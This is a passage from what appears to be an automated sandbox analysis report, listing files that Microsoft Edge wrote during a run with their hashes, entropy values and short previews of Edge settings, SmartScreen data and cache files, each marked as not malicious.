MD5:	121356E36BD103A2B61B02B24E341DC3
SHA1:	CF8D955156DF0916BD106EA4073ED312B40B76E6
SHA-256:	E75E3E0A5DF792AA772210798BFAA61B88AE97948FEA87577EF9AF2B82E65E7D
SHA-512:	A8D62BDDBF78CF89C3F5DBB1C450569BD7443CF412784331E651A34DCA347CD8B4C8F35EAF708B05A35728D823EE340F4DD7D342248D46D709BD497F75984DE9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bab6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089558310544793
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SJtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynRt5b7VLyMV/YoskFoz
MD5:	121356E36BD103A2B61B02B24E341DC3
SHA1:	CF8D955156DF0916BD106EA4073ED312B40B76E6
SHA-256:	E75E3E0A5DF792AA772210798BFAA61B88AE97948FEA87577EF9AF2B82E65E7D
SHA-512:	A8D62BDDBF78CF89C3F5DBB1C450569BD7443CF412784331E651A34DCA347CD8B4C8F35EAF708B05A35728D823EE340F4DD7D342248D46D709BD497F75984DE9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.009997624745483
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXIcUV2YVn:YWLSGTt1o9LuLgfGBPAzkVj/T8l4+yn
MD5:	B93F35F796FDDF4BBFCE8ED8249D6666
SHA1:	C0D799C9709BC25BD99217626781BA70D9548ED1
SHA-256:	ACBB8E2644AF4F39A71FBAE1BE9CD4C23F84FD45528D2615494EBC1B2EFC099E
SHA-512:	7BB3FE425994D0DECE761F4C005762715923C777AC051CFFBE5DAE4E3AC71659DE76BD11F6B2E251A1C41D230881B078DC99C43C81A3EDCEFF3D08599060BEF6
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732143940541045}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\afb7390e-6891-4f94-b1ec-bc248fdacc54.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44695
Entropy (8bit):	6.095603648078027
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kFKKKGf4BC9nakSqvePtYGN7DRo+yM/42cRaLMoskCH:z/Ps+wsI7ynKC9nYN7VLyMV/YoskFoz
MD5:	672B753FF60040678ABB33883CD8E0AD
SHA1:	E76A84C97A713AC19F692DD9C58224D86EA489A6
SHA-256:	A55CAD064E6511A7EBE2867BCC128392DBCEAEA872011B84953B30B2AFAC4927
SHA-512:	8191913B4F4F5F77F64BEC8832D03682CA6B5B0027C50A71102F1CAE8950979AF6BAC0E8206936D1D27B8C1D780B0F175F7159FB7E94DDF8502AA56D2B5789CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b3962a4e-cad5-4b8b-afdd-e935676c8224.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46288
Entropy (8bit):	6.087616046296011
Encrypted:	false
SSDEEP:	768:CMkbJrT8IeQcrQg8a/nKKGf4BC9nVWo2drFwcl7YEnn6Cioz7DRo+yM/42cRaLMm:CMk1rT8HcafC9nEl1n6Foz7VLyMV/YoZ
MD5:	85BB08E2D165353A665213CF61170C1A
SHA1:	A46D5B2A8369420A79FB99895F3EBCD7666EDB88
SHA-256:	04D7105F395CBAD84EC0938C05C49D04BC558B29D591D225027032C0D9E07834
SHA-512:	3F684292744FC6ED7FEFA76E59AD19AF3E2EA8DFFD68CD21F041747BBE5DA32DABDE785C72A3E321EADCF3EED301B0FBF42FE77278619B440370C48536C9EB85
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"2fc3e627-d033-4ab3-ba94-314d6109801a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732043141"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ee4bee96-79a2-4582-a59c-48fe4d67f29f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46164
Entropy (8bit):	6.088015575476277
Encrypted:	false
SSDEEP:	768:CMkbJrT8IeQcrQgxa1nKKGf4BC9nUWo2drFwcl7YEnn6Cioz7DRo+yM/42cRaLMm:CMk1rT8HRapC9nFl1n6Foz7VLyMV/YoZ
MD5:	64AF4436DC74B8A8E83CD396CD7ADDB8
SHA1:	BB4DFC5FEC927089DCCF8D26449413FAE831B30C
SHA-256:	0909003D1402748458C6096D854DA907B18E24584032B4ACE2CD3B1FCAC64660
SHA-512:	A5A92A9BE62352904D5D624C48CC126593B21A6E0115FFE818356AB91926CB202CB062CCE4C855ABB86D6EDA84073A60E01DC7CB7C509047DAB3DC5D179C43C4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"2fc3e627-d033-4ab3-ba94-314d6109801a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732043141"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8371308144750715
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxPxl9Il8uWMmGTvrtJNR4TFSy4yKzd1rc:mmYwMlvrtJ76Sy4HU
MD5:	BA93102A92398E35084331847CB6F4B5
SHA1:	818C6737F1A1D06B5FFA27ECD1094ACA560D91B3
SHA-256:	F16934786B5CB82CC44BC2BBB6267C74378C33E8C5193EBB8FE250BB2C70E3B7
SHA-512:	AFDEF8E6FAA67837597C6E43DD8A00CA09D356C388DDC621A5BBAC54463325B6D7FAB4C2EC7CF42D5B3C5FBCB49C518D9C1E6E5DC2F2947B532DF8EECE7C5C1C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.J.i.P.a.L.4.6.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".